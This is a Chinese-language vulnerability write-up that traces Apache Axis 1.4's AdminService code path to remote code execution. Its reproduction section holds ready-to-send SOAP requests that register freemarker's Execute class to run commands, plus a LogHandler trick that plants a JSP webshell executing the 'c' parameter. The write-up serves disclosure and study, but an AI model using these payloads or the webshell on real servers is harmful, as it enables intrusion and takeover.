90

Axis Rce分析

 4 years ago
source link: https://www.tuicool.com/articles/uEBfy2n
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在idea中选择new-project-webservice然后再选择axis,就可以自动下载相关所需要的文件了。

32MV73r.png!web

当然在 axis的官方下载仓库中 也有相关测试代码,下载完导入的tomcat中部署运行一下就好了,然后将 enableRemoteAdmin 的值修改为true,当然如果你本地调试的话这个值是可以不用改的。

EFBR3ie.png!web

0x02 漏洞分析

首先我们先在 server-config.wsdd 文件中看看一个 service 服务的这些标签都是干什么用的。

<service name="AdminService" provider="java:MSG">
<parameter name="allowedMethods" value="AdminService"/>
<parameter name="enableRemoteAdmin" value="true"/>
<parameter name="className" value="org.apache.axis.utils.Admin"/>
<namespace>http://xml.apache.org/axis/wsdd/</namespace>
</service>

这里的 allowMethods 实际上对应名字是 AdminService 的方法,而 className 意思对应的是相关类,这里是 org.apache.axis.utils.Admin ,而 enableRemoteAdmin 则是表示是否支持远程访问,而经过这样配置之后,就可以通过SOAP的办法去调用 org.apache.axis.utils.Admin#AdminService 了。

我们详细跟进这个方法看一下,首先我们传入的soap数据包进来之后会调用 process 方法来进行操作,操作部分的内容 xml[0] 实际上是我们可控的。

Qf6363b.png!web

跟进 process 方法,首先会调用 verifyHostAllowed 来判断来源ip,这里可以跟进一下。

public Document process(MessageContext msgContext, Element root) throws Exception {
this.verifyHostAllowed(msgContext);
String rootNS = root.getNamespaceURI();
AxisEngine engine = msgContext.getAxisEngine();
if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {
return processWSDD(msgContext, engine, root);
} else {
throw new Exception(Messages.getMessage("adminServiceNoWSDD"));
}
}

verifyHostAllowed 中判断了 enableRemoteAdmin 的值,如果这个 enableRemoteAdmin 不是为true的话,那么就会针对请求的ip进行判断,这里的要求是本地访问。

fU7j2uA.png!web

然后再回过头来,如果在我们的soap请求数据包中命中了 http://xml.apache.org/axis/wsdd/ ,那么就会调用 processWSDD 方法来处理我们传入的数据,而这里传入的root变量是可控的。

uQ73ArZ.png!web

processWSDD 方法中,我们的root变量中带有的数据被带入了 WSDDDocument 方法进行处理。

YnAFjib.png!web

跟进 WSDDDocument 方法,在通过 getLocalName 获取到我们传入的root变量中 localName 的值为 deployment ,就会继续调用 WSDDDeployment 方法进行处理了。

IzeuAbN.png!web

跟进 WSDDDeployment 方法,这个方法主要作用就是解析我们传入的数据的各个子节点,我们关注一下service节点。

YRb2Abu.png!web

deployService 方法调用的是 deployToRegistry 方法

public void deployService(WSDDService service) {
service.deployToRegistry(this);
}

跟进 deployToRegistry 方法,这个方法的主要作用就是注册我们传入services。

public void deployToRegistry(WSDDDeployment registry) {
registry.addService(this);
registry.registerNamespaceForService(this.getQName().getLocalPart(), this);

for(int i = 0; i < this.namespaces.size(); ++i) {
String namespace = (String)this.namespaces.elementAt(i);
registry.registerNamespaceForService(namespace, this);
}

super.deployToRegistry(registry);
}

然后最后调用 saveConfiguration 方法。

emUbE3N.png!web

这个方法的作用就是将结果写到配置文件里。

BfYvAfy.png!web

0x03 漏洞复现

我们传入的xml格式的soap数据包。

POST /axis_war/services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: localhost:8888
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 564

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="l1nk3r" provider="java:RPC">
<parameter name="className" value="com.l1nk3r.test"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment></soapenv:Body></soapenv:Envelope>

2Ifye2V.png!web

然后我们看看,已经成功写到了 server-config.wsdd 配置文件中。

IB3ERvV.png!web

在访问看看,我们发现axis的写入service操作之后不需要重启中间件,这为攻击提供了便利。

而从预警中看到这么一句

Apache AXIS中的freemarker组件中调用template.utility.Execute类时存在远程命令执行攻击

而在axis并没有发现自带freemarker,所以这里我下载了一下 freemarker-2.3.23.jar ,导入到axis中,在

freemarker.template.utility.Execute#exec 中传入的对象是list,然后可以直接执行命令。

vQ3EBfz.png!web

也就是说这里分两步,第一步注册 freemarker.template.utility.Execute 这个方法。

POST /services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 594

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="freemarker" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body></soapenv:Envelope>

第二步调用exec执行命令,当然如果不会构造数据包的话,可以写一个java客户端,然后wireshark抓包导入到burp中。

public static void main(String[] args) throws Exception {
String wsdlAddress = "http://127.0.0.1/services/freemarker?wsdl";
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress(wsdlAddress);
List<String> list = new ArrayList<String>();
list.add("open /Applications/Calculator.app");
String val = (String) call.invoke("exec", new Object[] {list});
System.out.println("这是webservice服务器返回的信息:\n" + val);
}
POST /axis_war/services/freemarker?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 670

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">open /Applications/Calculator.app</multiRef></multiRef></soapenv:Body></soapenv:Envelope>

bQfaUva.png!web

0x04 后记

其实我觉得这是axis的一个正常功能,如果只是配合freemarker一起用有点不太好用,所以可以试试看找一找有没有内置的方法,然后有个大哥找到一个方法写文件的。

第一步记录日志,创建文件。

POST /axis_war/services/AdminService?wsdl HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1061

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
<parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />   
<parameter name="LogHandler.writeToConsole" value="false" /> 
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>

第二步写入shell。

POST /axis_war/services/RandomService HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: locathost:8080
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 874

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>

VnmU3aJ.png!web

第三步访问shell执行命令。

mYn6ZrQ.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK